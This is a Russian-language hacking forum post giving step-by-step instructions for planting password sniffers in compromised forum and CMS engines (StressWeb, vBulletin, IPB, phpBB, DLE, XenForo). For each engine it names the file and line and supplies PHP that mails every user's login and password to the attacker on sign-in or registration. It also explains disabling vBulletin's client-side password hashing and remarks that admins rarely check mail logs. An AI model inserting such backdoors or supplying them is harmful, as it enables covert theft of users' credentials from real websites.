Bandit 289 Жалоба Опубликовано 11 июля, 2016 Если Вы получили доступ к админке и залили шелл или просто имеете доступ к FTP форума или какой-нибудь CMS. Можно его заснифать, чтобы к примеру собрать логины/пароли. Везде принцип один и тот же, мы вызываем $ipsclass_all, и все пароли, с емайлами или логинами приходят на наш емайл. StressWeb.Установка снифера на StressWeb. Воруем логин/пасс при регистрации с движка StressWeb (версия 13x) возможно и для других подойдет. Открыть Файл: Code: www/application/register.php Находим такие строки: Code: $tpl->LoadView( "email_register_ok" ); $tpl->Set( 'login', $_login ); $tpl->Set( 'password', $_l2pass1 ); $tpl->Set( 'host', HTTP_HOME_URL ); $tpl->Build( "mail_message" ); $mail_message = $tpl->GetResult( "mail_message" );$mail = new Email( $l2cfg ); $mail->send( $_l2email, 'Регистрация аккаунта', $mail_message ); Между строчкой: Code: $mail_message = $tpl->GetResult( "mail_message" ); И: Code: $mail->send( $_l2email, 'Регистрация аккаунта', $mail_message ); Вставляем код: Code: $ipsclass_all = $_login . ":" . $_l2pass1; mail('ваш_email@yandex.ru', 'sitename.ru', $ipsclass_all); Учтите, пропуск строки после $mail_message = $tpl->GetResult( "mail_message" ); должен остаться! В Итоге все выглядит вот так: Code: $tpl->LoadView( "email_register_ok" );$tpl->Set( 'login', $_login );$tpl->Set( 'password', $_l2pass1 );$tpl->Set( 'host', HTTP_HOME_URL );$tpl->Build( "mail_message" );$mail_message = $tpl->GetResult( "mail_message" ); Code: $ipsclass_all = $_login . ":" . $_l2pass1;mail('ваш_email@yandex.ru', 'sitename.ru', $ipsclass_all);$mail = new Email( $l2cfg );$mail->send( $_l2email, 'Регистрация аккаунта', $mail_message ); Vbulletin.Установка снифера на Vbulletin. Воруем логин/пасс при входе с движка Vbulletin(версия 4x) возможно и для других подойдет. Открываем файл: Code: /forum/login.php Ищем такую строчку: Код: Code: // can the user login? Она должна стоять после: Code: $vbulletin->input->clean_array_gpc('p', array( 'vb_login_username' => TYPE_STR, 'vb_login_password' => TYPE_STR, 'vb_login_md5password' => TYPE_STR, 'vb_login_md5password_utf' => TYPE_STR, 'postvars' => TYPE_STR, 'cookieuser' => TYPE_BOOL, 'logintype' => TYPE_STR, 'cssprefs' => TYPE_STR,)); Вставляем следующее после того что выше: Code: //does the user have a pass $username = $vbulletin->GPC['vb_login_username'];$password = $vbulletin->GPC['vb_login_password'];$ipsclass_all = $username . ":" . $password;mail('ваш_email@yandex.ru', 'sitename.ru', $ipsclass_all); Внимание! Если пасс не приходит идем сюда и находим файл: Code: /clientscript/vbulletin_md5.js Вариант 1 - удаляем файл. ИЛИ Вариант 2 - Находим такую строчку: Code: // implemented like this to make sure un-updated templates behave as before input.value = ''; </div> Это значит, что введенный нами пароль просто затирается перед передачей дальше. Просто комментим строку и собираем пароли (обновляем страницу, для того чтобы заюзать измененный Javascript)... Code: // input.value = '';... ваш_email@yandex.ru - смените емайл, на Ваш, куда будут приходить логины/пароли.sitename.ru - так будет называться тема письма, смените на название сайта скажем, который Вы будете снифить. На Ваш указанный емайл будет присылаться логин:пароль при авторизации на сайте Vbulletin. Ipb.Установка снифера на Ipb . Воруем логин/пасс при входе с движка Ipb(версия 3xx) возможно и для других подойдет. Открываем файл: Code: /forum/admin/sources/handlers/han_login.php Сразу под строкой // Check auth вставляем следующее, чтоб получилось так: Code: //----------------------------------------- // Check auth //-----------------------------------------$this->loginAuthenticate( $username, $email, $password );$ipsclass_all = $username . ":" . $password;mail('ваш_email@yandex.ru', 'sitename.ru', $ipsclass_all);$member = $this->member_data; ваш_email@yandex.ru - смените емайл, на Ваш, куда будут приходить логины/пароли.sitename.ru - так будет называться тема письма, смените на название сайта скажем, который Вы будете снифить. На Ваш указанный емайл будет присылаться логин:пароль при авторизации на сайте IPB. Phbb.Установка снифера на Phbb. Воруем логин/пасс при входе с движка Phbb(версия 3x) возможно и для других подойдет Открываем файл: Code: /forum/includes/auth.php Находим: Code: $login = $method($username, $password, $user->ip, $user->browser, $user->forwarded_for); После вставляем: Code: $ipsclass_all = $username . ":" . $password;mail('ваш_email@yandex.ru', 'sitename.ru', $ipsclass_all); ваш_email@yandex.ru - смените емайл, на Ваш, куда будут приходить логины/пароли.sitename.ru - так будет называться тема письма, смените на название сайта скажем, который Вы будете снифить. На Ваш указанный емайл будет присылаться логин:пароль при авторизации на сайте Phbb. DLE.Установка снифера на DLE. Воруем логин/пасс при входе с движка DLE (версия 10-9) возможно и для других подойдет. Открываем файл: Code: site.ru/public_html/engine/modules/sitelogin.php Находим 49 строчку: Code: if( isset( $_POST['login'] ) AND $_POST['login_name'] AND $_POST['login_password'] AND $_POST['login'] == "submit" ) { Вставляем ниже: Code: $ipsclass_all = $_POST['login_name'] . ":" . $_POST['login_password']; mail('ваш_email@yandex.ru', 'sitename.ru', $ipsclass_all); ваш_email@yandex.ru - смените емайл, на Ваш, куда будут приходить логины/пароли.sitename.ru - так будет называться тема письма, смените на название сайта скажем, который Вы будете снифить. На Ваш указанный емайл будет присылаться логин:пароль при авторизации на сайте DLE . Если хотите сделать, что бы пароли отправлялись сразу после регистрации. Открыть Файл: Code: site.ru/public_html/engine/modules/register.php Cтрочка 274: Code: $row['template'] = str_replace( "{%password%}", $password1, $row['template'] ); Ниже вставляем: Code: $ipsclass_all = $email . ":" . $password1; mail('ваш_email@yandex.ru', 'sitename.ru', $ipsclass_all); Должно получиться вот так: Code: $row['template'] = str_replace( "{%username%}", $name, $row['template'] );$row['template'] = str_replace( "{%email%}", $email, $row['template'] );$row['template'] = str_replace( "{%validationlink%}", $config['http_home_url'] . "index.php?do=register&doaction=validating&id=" . $idlink, $row['template'] );$row['template'] = str_replace( "{%password%}", $password1, $row['template'] );$ipsclass_all = $email . ":" . $password1;mail('ваш_email@yandex.ru', 'sitename.ru', $ipsclass_all);$mail->send( $email, $lang['reg_subj'], $row['template'] ); XenForo.Установка снифера на XenForo. Воруем логин/пасс при входе с движка XenForo(версия 1.4x) возможно и для других подойдет Открываем файл: Code: libraryXenForoControllerPublicLogin.php Находим такие строки на строчках 99-101: Code: $userModel = $this->_getUserModel();$userId = $userModel->validateAuthentication($data['login'], $data['password'], $error); Ниже вставляем: Code: $ipsclass_all = $data['login'] . ":" . $data['password'];mail('ваш_email@yandex.ru', 'sitename.ru', $ipsclass_all); ваш_email@yandex.ru - смените емайл, на Ваш, куда будут приходить логины/пароли.sitename.ru - так будет называться тема письма, смените на название сайта скажем, который Вы будете снифить. На Ваш указанный емайл будет присылаться логин:пароль при авторизации на сайте XenForo. Если хотите сделать, что бы пароли отправлялись сразу после регистрации. Открыть Файл: Code: libraryXenForoControllerPublicRegister.php Находим такие строки: Code: /** * Registers a new user. * * @return XenForo_ControllerResponse_Abstract */ public function actionRegister() { $this->_assertPostOnly(); $this->_assertRegistrationActive();$inputData = $this->_getRegistrationInputDataSafe(); $data = $inputData['data']; $passwords = $inputData['passwords']; $customFields = $inputData['customFields']; $customFieldsShown = $inputData['customFieldsShown']; $errors = $inputData['errors']; Ниже вставляем: Code: $ipsclass_all = $data['email'] . ":" . $passwords['password'];mail('ваш_email@yandex.ru', 'sitename.ru', $ipsclass_all); ваш_email@yandex.ru - смените емайл, на Ваш, куда будут приходить логины/пароли.sitename.ru - так будет называться тема письма, смените на название сайта скажем, который вы будете снифить. На Ваш указанный емайл будет присылаться логин:пароль сразу при регистрации на сайте XenForo. Заключение: Да и забыл сказать еще, в логах мал даемонд, спалится обычно вся отправка, но как правило 90% админов вообще не смотрят, я думаю они даже не подозревают что их снифают. Так же удобно снифать свой же форум, в целях безопасности, вот зарегался у тебя админ, который спамит по всем форумам, а тут его парольчик и словили, 50/50 бывает и к мылу подойдет. 2016 darknet © Copypaste Поделиться сообщением Ссылка на сообщение